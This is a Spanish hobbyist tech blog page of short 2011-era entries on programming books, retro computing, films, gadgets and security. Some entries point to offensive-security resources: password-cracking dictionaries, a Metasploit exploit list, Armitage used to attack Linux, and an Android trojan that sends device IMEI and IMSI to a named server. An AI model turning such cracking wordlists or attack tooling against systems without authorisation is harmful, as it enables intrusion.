Visto aquí.

¡Sal y pelea cobarde!

"Sal y pelea, hediondo lagarto repulsivo"

Visto en HTCAU.

El pequeño libro de los semáforos

El concepto de semáforo dentro de la informática se aplica a la sincronización de procesos o hilos y que se aplica dentro de la programación concurrente. Aunque el concepto es puramente vinculado a la programación, éste se suele estudiar también en los libros de sistemas operativos. Ya que es un concepto esencial en los sistemas multitarea o multiproceso.

Dicho esto, el título de esta entrada no es más que la traducción de un libro titulado: The Little Book of Semaphores. Éste nos ayudará a identificar patrones a problemas comunes de sincronización, así como a ayudarnos a implementar una solución para dicho problema.

Hypervisor Bible

Vaya tela la que está liando Sony. Desde que los chicos de fail0verflow hicieran una gran presentación en la pasada CCC de como saltarse el sistema de protección de la PS3 y con la consiguiente publicación de la clave de firmas que Sony usaba para el software, por parte de Geohot, el cual por cierto está aceptando donaciones para poder defenderse de Sony, ahora parece que la policía entra en casa de otro de los hackers más activos de esta comunidad, Graf_chokolo, y le requisan todo el material relacionado con el hacking de la PS3, cuentas, etc.

A prueba de Hackers

En la web de makeuseof.com han publicado una guía titulada: HackerProof: Your guide to PC Security. Es un documento PDF que repasa las amenazas más comunes con las que un usuario tiene que enfrentarse cuando navega por la red.

Dicho texto explica los conceptos básicos de seguridad a nivel usuario. Puedes descargar el PDF desde aquí.

MakeUseOf.com: HackerProof: Your Guide to PC Security

Source Code

Source Code es una nueva película que se estrenará el próximo 1 de Abril.

Cuando el condecorado Capitán Colter Stevens, se despierta en el cuerpo de un hombre desconocido, descubre que forma parte de una misión para encontrar un terrorista que quiere atentar contra un tren de cercanías en Chicago. En una misión como ninguna antes asignada, éste se da cuenta que forma parte de un experimento del gobierno llamado Código Fuente (Source Code), un programa que le permite le tomar la identidad de un hombre en los últimos 8 minutos de su vida (sudo ?? :-)). De pronto, una amenaza mucho más grande intenta matar a millones de personas en el centro de Chicago, Colter revive el incidente una y otra vez, buscando pistas, hasta que puede resolver el misterio de quién está detrás de las bombas y detener el siguiente ataque…

Guía de referencia rápida para The Pragmatic …

 

El libro "The Pragmatic Programmer" es para nosotros (y para muchos) todo un libro de culto. No sólo sirve para aconsejar al programador, lo puedes usar para casi cualquier otro proyecto. Un libro indispensable para el informático, ya que tarde o temprano, te tocará programar y este libro te dará consejos que realmente no olvidarás.

En la web Coding Horror hemos visto esta Pragmatic Quick Refence y para honrar este magnífico libro, nos hemos tomado la libertad de traducirlo entre tuxotron y yo para tener esta misma guía pero en español, esperamos que os guste:

La Biblioteca Digital Mundial abierta

Hace unos días se produjo el lanzamiento en la red de la Biblioteca Digital Mundial (World Digital Library, en inglés), la cual reúne toda clase de archivos: mapas, textos, fotos, grabaciones y películas desde el año 8000 a.C. hasta el 2010 d.C. Además dispone de audio en siete idiomas distintos y reliquias culturales extraídas de todas las bibliotecas del planeta.

La biblioteca únicamente ofrecerá documentos con valor de patrimonio y que permitirán apreciar y conocer mejor las culturas del mundo en idiomas diferentes.

Juguete convertido en una máquina Enigma

En esta entrada de la web de instructables, podemos ver como transformar un juguete de estos para niños, en un máquina Enigma.

Con la ayuda, como no, de Arduino, el autor ha sido capaz de replicar el funcionamiento de una de estás máquinas en su versión de tres rotores.

Aquí podéis ver un vídeo de dicho juguete en funcionamiento. Esto es hacking en el estado más puro.

Escuchando vinilos a base de scanner.

Ya se que suena a broma, pero parece ser que es posible. Sí tienes un scanner un pc y un disco de los Panchos puedes llegar a oírlo, no muy bien pero no deja de ser increíble.

Ya me veo dentro de poco la gente haciendo backups de sus vinilos en la fotocopiadora del trabajo :-D.

Aquí podéis ver como se hace y algunos mp3 del resultado.

Computer Vision: Algoritmos y aplicaciones

O su título original: Computer Vision: Algorithms and Applications. Es un libro que puedes comprar desde las tiendas más conocidas, pero también puedes descargarlo en formato PDF totalmente gratuito desde este enlace (No pongo el enlace directo al libro por petición expresa del autor del mismo).

El libro trata de las aplicaciones de la vision por ordenador y el desarrollo de algoritmos para dichas aplicaciones. La visión por ordenador trata de computar las propiedades de un mundo tridimensional desde imágenes digitales. Por ejemplo: determinar una figura 3D en un entorno, determinar como se mueven las cosas, reconocer objetos familiares, etc.

Fotos de la Lanzadera Espacial realizadas por …

 

Nuestro amigo y colega tuxotron se ha acercado este fin de semana al Kennedy Space Center y sacó estas dos fotos de la plataforma de despegue con la Lanzadera Espacial ya preparada para su misión de este jueves día 24.

Era imposible acercarse más ya que está habilitado el perímetro de seguridad de antes del despegue.

Qué pena que no ha coincidido con el despegue.

Consulta la Wikipedia desde la línea de comandos a …

Como gran entusiasta de la línea comandos, este truco me gustó mucho:

dig +short txt.wp.dg.cx

Nos devuelve el registro TXT de los servidores DNS de la Wikipedia. Además del texto, también se incluye el link a la entrada del artículo. Por ejemplo:

$ dig +short txt hacking.wp.dg.cx
"Hacking may refer to: A form of the verb hack, Computer security hacking where someone attempts to defeat or exploit the security capabilities of a computer system, A casual form of horse-riding, see Equestrianism, Illegal taxicab operation, The act of jo" "ke thievery, The name of a specific Erbherrschaft (hereditary Lordship), Raising a bird of prey in an artificial nest, A... http://a.vu/w:Hacking"

Para facilitarnos la vida podemos crearnos un script. Otras opciones:

mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }

mwiki() { dig +short txt "$*".wp.dg.cx; }

nslookup -q=txt .wp.dg.cx

mwiki () { dig +short txt `echo $*|sed 's|  *|_|g'`.wp.dg.cx; }

En todos los casos se usa el comando dig o nslookup, comandos típicos para hacer consultas a servidores DNS.

Enlace original. Visto aquí.

Pantallazos de la BackTrack 5

La nueva versión de esta distribución que no necesita presentación (que buena rima me ha salido. Tiene ser que estamos en carnaval!), ya se está cociendo. Aunque van atrasado con las fechas y en estos momentos no quieren darse ningún plazo,  para ir abriendo el apetito, han publicado algunos pantallazos de lo que será la versión 5. Como se puede apreciar, una de las novedades en el entorno gráfico es la versión 4 de KDE.

El lanzamiento del ATV Kepler visto desde la ISS

 

A la derecha, puedes ver el ATV Kepler despegando.

Foto realizada desde la Estación Espacial Internacional (ISS).

Visto en UniverseToday.

Esto sí que es una fiesta friki ... tonight i'm …

Raj de The Big Bang Theory, Alessandra Torresani (guau) de Caprica y algunos más que aparecen en este video realmente friki.

Creado por Break y visto en ZonaFandom.

Sintetizador de cinta perforada

Más retro imposible, se consigue gracias al temporizador 555 que lleva integrado.

Cinta perforada.

Todas las setas no son una vida gratis ...

 

Visto en GeeksAreSexy.

Domingo por la mañana un poco tarde, video oficial …

De su disco “Further” del que ya hablamos en CyberHades.

Espectacular.

Esnifando paquetes en redes con "La Estrella …

 

Proyecto de hardware hacker para esnifar redes usando un dispositivo  con cuatro conectores hembra RJ45 y con forma de estrella ninja ¿que más quieres? ;)

Software necesario, con WireShark (uniendo dos interfaces) o también con tcpdump y luego mergecap para procesar las capturas.

Funciona con todo tipo de redes, hasta con Gigabit Ethernet y además todo es un proyecto Open Source que puedes descargar desde aquí.

Visto en HackADay.

Algunos líos de cables ...

Por mucho que intentes dejar lo mejor posible los cables de tu rack, al final te puede pasar algo parecido a esto que os mostramos a continuación y tu armario se parecerá más a un plato de espaguetis que a otra cosa:

(Ojo al cartel que dice “No toques ninguno de estos cables”)  :)

Rage - Untethered 2011, lo último de ID Software

Video con lo último de los creadores del mítico DOOM.

Realmente espectacular, vaya motor gráfico.

El colibrí espía

En el vídeo se puede ver un dispositivo espía creado por el DARPA DSO.

Navegador de 8 bits, Pixelfari

 

Mac

Versión 8 bits del navegador Safari, sólo para usuarios de Mac. Eso sí, el dolor de cabeza puede ser espectacular si lo usas mucho tiempo.

Visto, como no, en la genial 8bits.

Nota: ojo a la complejidad de la broma, todo el trabajo que tiene programarse un navegador web sólo para hacer que parezca de 8 bits. No estaría mal echar un vistazo al código de este programa …

Er docu der finde: SPAM

O spam.

Battlestar Galactica Online: primeros videos del …

Con solo escuchar la música ya se me ponen los pelos de pollo. Acabo de recibir la tan deseada invitación (tres meses :-() y a la espera quedo de que el maldito servidor me deje entrar... rezo para que sea la excepción y no la norma.

Inicio para registro

OVNI sobre Jerusalem grabado desde tres puntos …

Una de las grabaciones (4ª)

Sincronización de las grabaciones primera, segunda y cuarta

Por la CBS NEWS

Esto ocurrió el 28 de Enero a las 01:00 hrs. Al parecer, el objeto, se situó sobre el llamado Monte del Templo en Jerusalén. Lo graban turistas de diferentes nacionalidades y desde puntos distintos (el 1º y el 2º desde la misma azotea). Los investigadores han confirmado que los fogonazos emitidos se reflejan sobre los edificios colindantes. El tercer video, y otros nueve más, son un fake clarísimo ya que no se observan los fogonazos anteriores al "despegue".

Conferencia completa sobre Seguridad Informática …

Nuestro amigo Chema Alonso  de Informatica64 se pasó por la Universidad de Alicante para dar una conferencia magistral sobre Seguridad Informática. Ya hemos oido, visto y escuchado a Chema ;) más de una vez, pero os recomendamos especialmente esta charla de dos horas de duración donde hace un estupendo resúmen a los orígenes del malware así como su situación actual (y algunas referencia sobre sus orígenes malignos …)

Yo no he visto el video, lo he escuchado, ayer tuve que hacer un viaje un poco largo en coche y gracias a Chema se hizo más corto. Pasé el video a MP3 desde esta web.

La diosa Fortuna

Un científico o un agente de seguros dirían que la suerte no existe, que es sólo un cúmulo de sucesos favorables, de variaciones y permutaciones del destino. Pero... y si es al contrario?? Cuando un enorme número de factores luchan para ir en tu contra y sales victorioso... es diferente?? Yo no lo creo. Llámala de la forma que quieras: suerte, circunstancias propicias, permutaciones de posibilidades, variaciones de estados... la suerte existe pero sólo esta reservada para el que la quiera sentir. Hoy me siento afortunado. :-)

Metasploit Framework Wishlist

Así tituló el autor a la entrada que hago referencia, dónde podéis encontrar una lista con vulnerabilidades en http://www.exploit-db.com/ y correspondiente exploit (módulo) en Metasploit.

La lista la podéis descargar desde aquí. Está en formato CSV

IBM Centennial Film: They Were There - People who …

No, este no es Er docu der finde.

Tabla de instrucciones ensamblador del Intel 80x86

Esto no es más que un PDF (aquí en inglés) muy bien organizado con las instrucciones de ensamblador del 80x86, los registros generales y los bits de estado o bandera (flag).

Página original.

Windows 3.1 en tu navegador

¿Windows qué? Alguno se preguntará. Si Windows 3.1 (no existe página en Español en la Wikipedia), cuando Windows no era más que un entorno gráfico para MS-DOS. Algunos dirán que todavía lo sigue siendo :-p

Si todo lo que sabes de esta versión de Windows es de oídas, échale un vistazo a esta aplicación web que emula dicho sistema.

Visto aquí

Nota: esto no es una emulación.

HTC presenta su tablet en el Mobile World Congress …

La tablet de HTC se llama The Flyer y dispone de una pantalla de 7'' (18 cm aprox.) con una resolución de 1024x600. La pantalla emplea la tecnología "Super LCD'technology", lo que en teoría significa que estás trabajando con una pantalla tipo IPS (In-Panel Switching). Hay que destacar que este Flyer no funciona con Android 3.0, si no que emplea Android 2.4 con una nueva y mejorada versión de la interfaz HTC Sense.

Curso de Windows Internals

Orientado obviamente a Windows, este curso pretende dar una visión técnica de las entrañas este sistema operativo. Cubre desde la arquitectura de Windows hasta la seguridad, pasando por los mecanismos del núcleo, la API de Windows, sincronización, procesos, hilos, manejo de memoria, etc

Durante el curso se hará uso de Windows Internals como libro de texto. Además necesitarás una serie de utilidades y un pequeño laboratorio de prácticas. En este PDF encontrarás como montarte dicho laboratorio y además necesitarás Sysinternal tools suite y CRK tools suite.

ADRD, otro troyano para Android

AegisLab ha encontrado otro troyano para Android que actualmente está vivito y coleando. El autor de éste, por lo visto lo que hace es re-empaquetar software legítimo, añadiéndole el código de dicho troyano. Este malware, por ahora, es común encontrarlo en los fondos de escritorios o wallpapers.

En principio todo lo que hace es aparte de mandar tu IMEI e IMSI a cierto servidor (adrd.taxuan.net) de forma cifrada (DES). Aquí un ejemplo:

"Apagón General" por el sometimiento del Gobierno …

Hoy, día del consumidor, esta convocado un apagón general de 5 minutos a las 22:00 en señal de protesta por la subida abusiva que ENDESA, IBERDROLA y FENOSA han llevado a cabo en sus tarifas eléctricas y que, además, el Gobierno apoya.

La Luna te quiere ...

 

En 3D y todo, visto en UniverseToday.

El mundo secreto de los aparatos con …

 

Genial artículo de PCMagazine donde te sorprenderán los gadgets y otros aparatos electrónicos que tienen integrados potentes microcontroladores. Por ejemplo, un test de embarazo tiene más potencia de cálculo que un Apple II ó el mando de juego de la Xbox que tiene más potencia que la consola NES.

Esta invasión empezó en 1974, cuando se inventó el primer microcontrolador, donde se integraban la mayor parte de un ordenador (RAM, CPU, etc) en un sólo chip.

2011: Año Internacional de la Química

Coincidiendo este año con el centenario de la concesión del Premio Nobel otorgado a Marie Curie, la Asamblea General de la ONU proclamó al 2011 como el Año Internacional de la Química para concienciar al público sobre las contribuciones de esa ciencia al bienestar de la humanidad.

Bajo el Lema “Chemistry: our life, our future” (“Química: nuestra vida, nuestro futuro”), los objetivos de esta conmemoración son: incrementar la apreciación pública de la Química como herramienta fundamental para satisfacer las necesidad de la sociedad, promover el interés por la química entre los jóvenes, y generar entusiasmo por el futuro creativo de la química.

La distancia entre tú y yo ... domingo por la …

Prepárate un café, si tienes auriculares póntelos, relájate, dale volúmen y no pienses en el lunes… pulsa play …

Codes In The Clouds

FtpUse - Mapea un servidor FTP como un disco local

Windows

Espectacular herramienta para línea de comandos (Windows Vista, 7 y XP) con el que puedes mapear un FTP en tu equipo como si fuera una unidad local (X:, Y:, etc…).

Usa la siguiente sintáxis:

FTPUSE devicename [ftphostname[/remotepath] [password]]
         [/USER:username]
         [/NOPASSIVE]
         [/OWNERACCESSONLY]
         [/PORT:portnumber]
         [/DEBUG]
         [[/DELETE]]

Extremadamente completo, puedes elegir el puerto de conexión, la contraseña y el usuario, etc.

Un ejemplo:

FTPUSE F: ftp.microsoft.com/developr ftpuse@example /USER:anonymous

Conectamos al ftp de Microsoft usando los datos de USER y luego mapeando una unidad F: donde tendremos la información.

Microhistorias: Alan Turing y la primera música …

 

(Foto) Alan Turing con sus colegas programando un Ferranti Mark 1

(c) Copyright The University of Manchester 1998, 1999

Antes de nada, puedes oirla en este enlace de la BBC o descargarla desde aquí. La grabación se realizó por la BBC en 1951 durante una visita  la Universidad de Manchester.

 Pues sí, esa es al parecer, la primera recreación musical realizada por un ordenador (God Save The Queen, no podría ser otra viniendo de un ordenador inglés, además hay otras dos canciones llamadas Baa Black Sheep y In the Mood). No era un ordenador cualquiera, era nada menos que un Ferranti Mark 1 fabricado en 1951,versión mejorada lista para ser vendida del Mark 1 y posiblemente sea el primer ordenador (tal y como lo conocemos) del mundo (echa un vistazo a este espectacular artículo de Microsiervos donde hablan sobre este tema).

Er docu der finde: Nos vigilan

Cómo escribir código seguro

La segunda edición del documento titulado: A Guide to the Most Effective SecureDevelopment Practices in Use Today, ha sido publicado hace unos de días.

En esta versión se han revisado y actualizado las prácticas desde el punto de seguridad que se deben seguir durante el diseño, programación y testeo durante el ciclo de vida del software. En éste también se han añadido dos secciones nuevas: enumeración de debilidades comunes y una guía de verificación.

Presentaciones gira Up To Secure 2011

 

Ya tenemos las presentaciones de la gira de Informatica64 "Up To Secure 2011".

Todas las puedes encontrar en el blog de Chema Alonso.

No te las pierdas.

Vídeos sobre desarrollo de Windows Phone 7 para …

Bueno el título lo dice todo. En la siguiente lista podéis encontrar una serie de ocho vídeos que nos introducen distintos aspectos del desarrollo de aplicaciones para Windows Phone 7 haciendo énfasis en ciertas áreas para aquel con experiencia en el desarrollo de aplicaciones para Android.

1. Windows Phone 7 for Android Developers: The User Interface
2. Windows Phone 7 for Android Developers: Data
3. Windows Phone 7 for Android Developers: Graphics
4. Windows Phone 7 for Android Developers: Performance
5. Why Windows Phone 7 for the iPhone & Android Developer
6. How Do I: Migrate an Android Application to a Windows Phone 7 Application?
7. Windows Phone 7 for Android Developers: Visual Studio 2010
8. Windows Phone 7 for Android Developers: Java to C#

Esta es la página oficial del curso. Y aquí donde lo vi.

"BUILD!", película épica stop motion con LEGO

 

Ya tienes excusa para comprarte esas fantásticas cajas de LEGO que ves en las tiendas pero te da vergüenza comprarlas ;) … simplemente cuando vayas a pagarlas dices “voy a hacer una película stop-motion” y luego enlaza con este link para ver fotos “detrás de las escenas”, con este otro para ver los modelos utilizados y finalmente con este tutorial donde te explican paso a paso cómo hacer una película stop-motion.

No intentes espiar a un oso polar

La estepa polar es muy aburrida. Su creador, antes de estudiar robótica debería conocer el comportamiento animal: que la cámara sea blanca no significa que no la pueda ver un oso.

Link

Reloj PacMan

The Pactuator: a clockwork Pac-Man from Jonathan M. Guberman on Vimeo.

Fuente

The Chapel: HDR + Timelapse

Corto realizado por Patryk Kizny en un antiguo templo protestante de Zeliszów en Polonia. El control motion lo ejecutan impecablemente varias dollys de DitoGear (con precios desorbitados :-() Música de Tomas Leonhardt y LookyCreative como productora.

Buenas imágenes pero para mi gusto tiene un HDR demasiado marcado: es un pecado utilizar exceso de saturación e iluminación en un lugar tan enigmático y misterioso como ese, no deja lugar a la imaginación. El Making Of es muy recomendable ya que, si eres observador, da pistas sobre la colocación de los sliders y de alguna que otra rótula motorizada ;-)

Las mejores fotografías del Hubble como wallpapers

Link. Resto de fotografías

IPv6 Infographics

Haz click en la imagen para verla más grande.

Fuente

Diccionarios de passwords

KoreLogic Security ha publicado una lista diccionarios de passwords, los cuales fueron usados para crear el concurso "Crack Me If You Can" del 2010 y también usados para descifrar contraseñas en casos reales. Esta es la lista:

2EVERYTHING.dic 2letters.dic 3EVERYTHING.dic.gz 3letters.dic 4letters.dic.gz Antworth.dic.gz ArabicNames.dic Cities.dic.gz Femalename.dic IndianNames.dic JOHN.dict.KeyboardCombinations.txt KeyboardCombo3.dic KeyboardCombo4.dic KeyboardCombo5.dic.gz KeyboardCombo6.dic.gz KeyboardCombo7.dic LastNames.dic.gz Malename.dic MostPopularLetterPasses.dic NamesAll.dic.gz Places.dic RockYou-MostPopular500000PassesLetters_less50000.dic.gz RockYou-MostPopular50000PassesLetters.dic RockYouLetters-7.dic.gz RockYouLetters-8.dic.gz RockYouLetters-9.dic.gz Sports.dic books_of_the_bible.dic colleges.dic date_wordlist.dic.gz days-of-week-multiple-languages.dic dictionary_from_queue_1.dic.gz dictionary_from_queue_2.dic.gz dictionary_from_queue_3.dic.gz facebook-firstnames.dic.gz facebook-lastnames.dic.gz facebook-lastnames.dic.l33t.gz 367 megs 7letter-lastname.dic germanl.dic index.html indian-cities.dic length06.dic.gz length07.dic.gz length08-from-pot.dic.gz length08.dic.gz length09-from-pot.dic length10-from-pot.dic months.dic numbers-as-words.txt password.dic pro_sports_teams.txt rockyou-5chars-or-more-used-to-have-numbers.dic.gz rockyou.txt.letters.dic.gz rockyoutop1000.txt seasons.dic spanish.dic.gz webster-dictionary.dic.gz wikiALL.dic.gz wikipedia-Russian-titles.dic.gz wikipedia-wordlist-sraveau-20090325-sorted-shrunk.dic.gz 69 megs wikipedia.txt.users.dic

Algunos diccionarios están comprimidos con gzip. La mayoría de las claves están en minúsculas. En este enlace nos muestran como podemos aplicar ciertas reglas que nos permiten cambiar a mayúsculas ciertos caracteres.

De Brain a Stuxnet, 25 años del virus informático

Fuente

Un día sin química

¿Os podéis imaginar un día sin química?

Sí podéis es que tenéis mucha imaginación, jeje, pues la química participa en todos los procesos que ocurren a cada instante en el planeta. No os olvidéis que los procesos neuronales también involucran reacciones químicas.

La American Chemical Society ha hecho un esfuerzo por tratar de mostrar esta dependencia en un video de 2 min.

Tiny Barbarian, una pequeña pieza de arte pixelado

Excelente juego que no ocupa más de 5MB y casi todo comprimido en un solo ejecutable, que te hará recordar los viejos tiempos de los mejores juegos de plataformas pixelados.

Puedesd descargarlo desde su página oficial.

Aquí tienes un análisis en español del juego.

Soluciones del Wargame de SecurityByDefault

¡Genial! Por fin los Int3pids han terminado de escribir las soluciones al Wargame de SecurityByDefault.

Solucionario de int3pids del I Wargame de Sbd - 2011

View more documents from secbydefault.

Podéis descargaros el PDF desde aquí también.

¡Enhorabuena a los campeones! Y a los que no ganaron también… :-p

Actualización: Al final de la entrada original puedes otras soluciones de otros participantes.

PHP para Android

PFA o PHP For Android nos proporciona la posibilidad de programar en PHP sobre nuestro dispositivo Android. Éste se apoya en SL4A (Script Layer for Android) del que en su día hablamos aquí y por lo tanto necesitas tenerlo instalado.

Aquí una introducción

Y aquí un vídeo donde podemos ver el proceso de instalación

PHPforAndroid.apk HOWTO install and test from irontec on Vimeo.

Hacking Linux con Armitage

Armitage es una interfaz gráfica para Metasploit que nos facilita mucho la vida a la hora de trastear con dicho framework, especialmente para aquellos que no usamos Metasploit regularmente. Éste nos muestra de una forma visual nuestros objetivo/s y además nos ayuda a encontrar el/los exploits a los que nuestro objetivo puede ser vulnerable.

Para muestra un botón. En este artículo de ethicalhacker.net podemos ver lo fácil que Armitage nos lo pone a la hora de, en este caso, atacar un sistema Linux.

ZX Spectrum cumplirá 30 añitos en el 2012

Y para celebrarlo van a lanzar la "versión moderna" del ZX Spectrum.

Empresas como Elite, que es propietaria de muchos de los grandes clásicos de este sistema, haciendo uso de emuladores han sacado algunos de sus juegos para dispositivos de Apple como iPod o iPhone. Aunque parecen que quieren expandir su mercado a otros dispositivos como los Androids e incluso consolas como la Xbox.

Imagínate jugar a estos jugos de la época en un dispositivo con pantalla táctil por ejemplo, perdería toda la gracia. Y aquí es dónde viene lo de la versión moderna que entrecomillé más arriba, porque en realidad lo que quieren lanzar es un teclado con las teclas de gomas como el original con conexión por bluetooth. De esta forma sólo tendrías que conectar dicho teclado a tu dispositivo (iPhone, etc) y jugar como como un niño chico :-)

Security Guardian, audita y certifica la seguridad …

Si tienes una web de la cual depende un negocio, siempre debes de tener muy en cuenta la seguridad. Es un tema que no puedes dejar de lado ya que la supervivencia de un negocio puede pasar por la seguridad de su sitio web.

Security Guardian, es una solución profesional para  aumentar la seguridad de tú página web (y de paso también las ventas). Ellos se encargan de monitorizar, testear y certificar la seguridad de las páginas que tengas. No tienes que preocuparte de nada, Security Guardian se encarga de planificar y ejecutar las pruebas de seguridad de forma totalmente transparente.

MoonSols Windows Memory Toolkit, herramienta para …

Windows

MoonSols es un kit de herramientas para analizar la memoria RAM del ordenador para Windows. Está diseñado para comprobar el fichero de hibernación de Windows (en todas sus versiones), volcados de memoria provocados por errores y otros volcados de memoria asociados por ejemplo a programas de virtualización como VMWare.  

MoonSols hace posible convertir todos los volcados de memoria (crashdumps) para poder ser analizados con Windows Debugger (WinDbg).

Vídeos de la ShmoonCon 2011

Aquí os dejo una colección de vídeos de la ShmooCon2011 vista en Reddit.

ShmooCon 2011: Visual Malware Reversing: How to Stop Reading Assembly and Love the Code http://www.youtube.com/watch?v=9nlWbDdxKjw

ShmooCon 2011: Printer to PWND: Leveraging Multifunction Printers During Penetration Testing http://www.youtube.com/watch?v=MPhisPLwm2A

ShmooCon 2011: Keynote: Analytic Framework for Cyber Security http://www.youtube.com/watch?v=rDP6A5NMeA4

ShmooCon 2011: Inside the App: All Your Data are Belong to Me http://www.youtube.com/watch?v=diAMOkGr1JY

Los Steves Phreaking - The Blue Box

En estos dos vídeos podemos ver a Steve Jobs (en el primero) y Steve Wozniak (en el segundo) con John Draper (Captain Crunch) hablando de sus aventuras como phreakers creando sus propias blue boxes.

Visto aquí.

Nmap 5.50 para Android

Al fin ya hay una portación de Nmap 5.50 para la plataforma Android. Todavía parece que hay un para de problemillas que hay que arreglar, pero por lo menos ya podremos usar esta imprescindible herramienta desde nuestro móvil o dispositivo Android.

Podéis ver el anuncio aquí. En dicho archivo también se incluye ncat. El autor está actualmente trabajando en la compilación de nping.

Web de nmap.

Los Maestros de Juego (GM) del World of Warcraft …

 

LOL, posiblemente sea un fake pero es muy divertido. Un GM llamado allegedly del WoW resuelve una petición de un jugador que realmente es un problema de matemáticas:

Visto en Kotaku.

Pentesting en aplicaciones GWT

GWT o Google Web Toolkit es un framework para el desarrollo de aplicaciones RIA a partir de aplicaciones escritas en java propiedad de, como su nombre indica, Google.

GWT-Penetration-Testing-Toolset es un conjunto de scripts escritos en python especialmente orientados a testear la seguridad de aplicaciones GWT. Ahora mismo se compone de 3 scripts:

gwtenum - capaz de sacar información del GWT-RPC y de los ficheros xxx.cache.html. gwtfuzzer - este inyecta basura a las peticiones html cambiando la entrada de usuario. gwtparser - parsea las peticiones GWT-RPC y es capaz de extraer los datos de entrada de los usuarios.

La publicidad de Voslkwagen en la Super Bowl: La …

Genial.

Visto en TheFireWire.

La primera canción para el segundo domingo por la …

El primer domingo era demasiado precipitado, pero desde CyberHades no nos olvidamos y damos la bienvenida a Valme (Jr) a este loco mundo y le deseamos lo mejor.

Felicidades a Manolo papá (qué raro me suena esto) y Valme mamá.

Un abrazo.

Grupo Grouplove

Rompiendo generadores de números aleatorios …

 

Nuestro amigo vierito5 se ha currado este espectacular post (en inglés), donde nos explica de una forma práctica e instructiva cómo romper generadores de números aleatorios (PRNG) basados en LFSR (registro de desplazamiento con retroalimentación lineal). Yo aún lo estoy releyendo, no es fácil de asimilar en una única pasada ;)

Toda la culpa de este post la tiene el crypto03 del fantástico wargame organizado por Security By Default y que ganaron Intr3pids (y que por cierto estamos esperando un tutorial con las soluciones para aprender un poco más).

Gamestorm, una web que recopila bocetos y esquemas …

 

(Click en la imágen para ir al juego "Escape from Underworld")

Esta web recopila cualquier tipo de boceto en cualquier formato (bloc de notas, pizarras, photoshop, etc.) donde se han volcado ideas sobre videojuegos. Estos bocetos lo normal es que se tiren pero Gamestorm intenta recopilarlos y almacenarlos como un museo, sobre todo para inspirar a otros desarrolladores.

Es muy interesante ver algunas ideas que han llegado a materializarse y otras que nunca se realizaron.

Retro Angry Birds

Visto en 8Bits.

Er docu der finde: En busca de hackers

¿Algún lector que aparezca en el vídeo?

WebIslam

El anuncio del primer ordenador "portátil", el IBM …

Igualito que ahora ;), el IBM 5100 salió a finales de 1975 y pesaba aproximadamente 25 kilitos (¿portátil?).

No te lo pierdas.

Visto en Retrothing.

Vídeos de la linux.conf.au 2011

Desde hace unos días se encuentran disponibles los vídeos de las charlas de la linux.conf.au 2011. A continuación os dejo la lista de los mismos. Como podéis ver hay vídeos para todos los gustos:

Keynote: Geoff Huston Bringing GLSL to the masses (the glsl2 project for Mesa OpenGL) Playing with fire: protocol analysis techniques for the Firewire bus Freeing the Cloud, one service at a time Trade Practices Issues of Infringing Open Source Software Network Bandwidth Isolation Pixels From A Distance X and the future of Linux GraphicsApplying martial arts to the workplace: your guide to kicking arseProducing WebM content with GStreamerOpen source documentation for the terminally illiterate Now Open: F# Practical Go Programming Outside in Development with Behaviour-Driven Development and Rails Java: Rumours of my demise are greatly exaggerated The State of PHP Indefero Code & Project Management Open Source Compiler Construction for the JVM Welcome Open Source: Saving the World Over-complicating a home network the cheapskate way perl5i: Perl 5 Improved Avoiding Development Monoculture Virtual Networking performance: flows, bridging and tunnels Lightning Talks Lessons learned from 13 years of LWN Can’t^W^W^W Touch This! SPDX: evolution of the package facts proposal License compliance in Open Source business Beyond init: systemd Going fast by being lazy: Context switching in PowerPC Linux Editing video with Pitivi Keynote: Eric Allman The Serval BatPhone: Making Mesh Mobile Telephony Practical, Anywhere, Any Time. Perl Programming Best Practices Our Sparkle Motion: Empowering the Geekocracy Against the Kyriarchy Building successful and unsuccessful businesses on open source foundations Open Source in Big Business: A Consulting Perspective Burn down the silos! Helping dev and ops gel on high availability websites Deltacloud: abstracting for freedom Making file systems scale: A case study using ext4 The Dili Village Telco Linux Australia AGM The Paradox of Commercially Viable Free Open Source Software Newcomer’s Session Firewalling with OpenBSDs pf and pfsync OptIPortal: Ultrascale Visualisation and Collaboration The latest and coolest with HTML5 video Using splice and vmsplice with custom Embedded Linux architectures Easy Kernel Development with User Mode Linux Keynote: Vinton G. Cerf Making laptops work with Linux Roll Your Own Cloud: Enterprise Virtualization with KVM, DRBD, iSCSI and Pacemaker Anatomy of an open modern Linux graphics driver - no animals need disection Use the Force, Linus How flash storage works

DreamPlug

Este es otro de esos ordenadores con el tamaño de una fuente de alimentación. Ya hemos hablado un par de veces de este tipo de máquinas aquí o aquí.

En esta caso, éste tiene las siguientes características:

1. Marvell Sheeva core 1.2GHz speed
2. Linux 2.6.3x Kernel
3. 512MB 16bit DDR2-800 MHz
4. 1 GB on board micros-SD for kernel and root file system
5. 2 x Gigabit Ethernet 10/100/1000 Mbps
6. 2 x USB 2.0 ports (Host)
7. 1 x eSATA 2.0 port -3Gbps SATAII
8. 1 x SD socket for user expansion/application
9. WiFi 802.11 b/g
10. Bluetooth BT2.1 + EDR
11. Audio Interfaces
12. Headphone (analogue) out x 1
13. Fiber Optics (SP/DIF) out x 1
14. Jtag and Uart connections for external module
15. 5V3A DC power supply

Y todo ello en una caja de: 110mm x 69.5mm x 48.5 mm.

Esta es la web oficial. Más información aquí. Visto en Slashdot.

El tema de Jurassic Park ralentizado un 1000% es …

Canción original:

Canción ralentizada un 1000%, espectacular sonido ambient, relájate y disfruta:

Jurassic Park Theme (1000% Slower) by birdfeeder 

Alucinante, visto en 8Bits.

Comparativa de tablets (cuadro)

 

En concreto, esta tabla compara los modelos BlackBerry PlayBook, Dell Streak 7, Apple iPad y Motorola Xoom (click en el cuadro para verlo más grande):

Visto en Skatter Tech.

Los 10 mejores videos Hoax sobre Ovnis en Youtube

Te mostramos los 3 primeros, para el resto visita el post original en Mashable.

Nuevo número de la Hakin9: Network Security

Ya está disponible para su descarga desde este enlace. El contenido es el siguiente:

1. Network Security - Data Breaches by Julian Evans
2. A Security System That Changed The World by Yury Chemerkin
3. Get in Through the Backdoor: Post Exploitation with Armitage by Raphael Mudge
4. Breaking The Code: Brute Forcing The Encryption Key by Rich Hoggan
5. Is Data Secure on the Password Protected Blackberry Device? by Yury Chemerkin
6. Examine your Network With Nmap. What is network Scanning? by Mohsen Mostafa Jokar
7. Exploring GCIH Certification for Fun and Employability by Alexandre Teixeira
8. Certification Smart? by Douglas Chick
9. What is Good Enough Coverage? by Matthew Jonkman

Cómo construir un soporte para sujetar el móvil en …

 

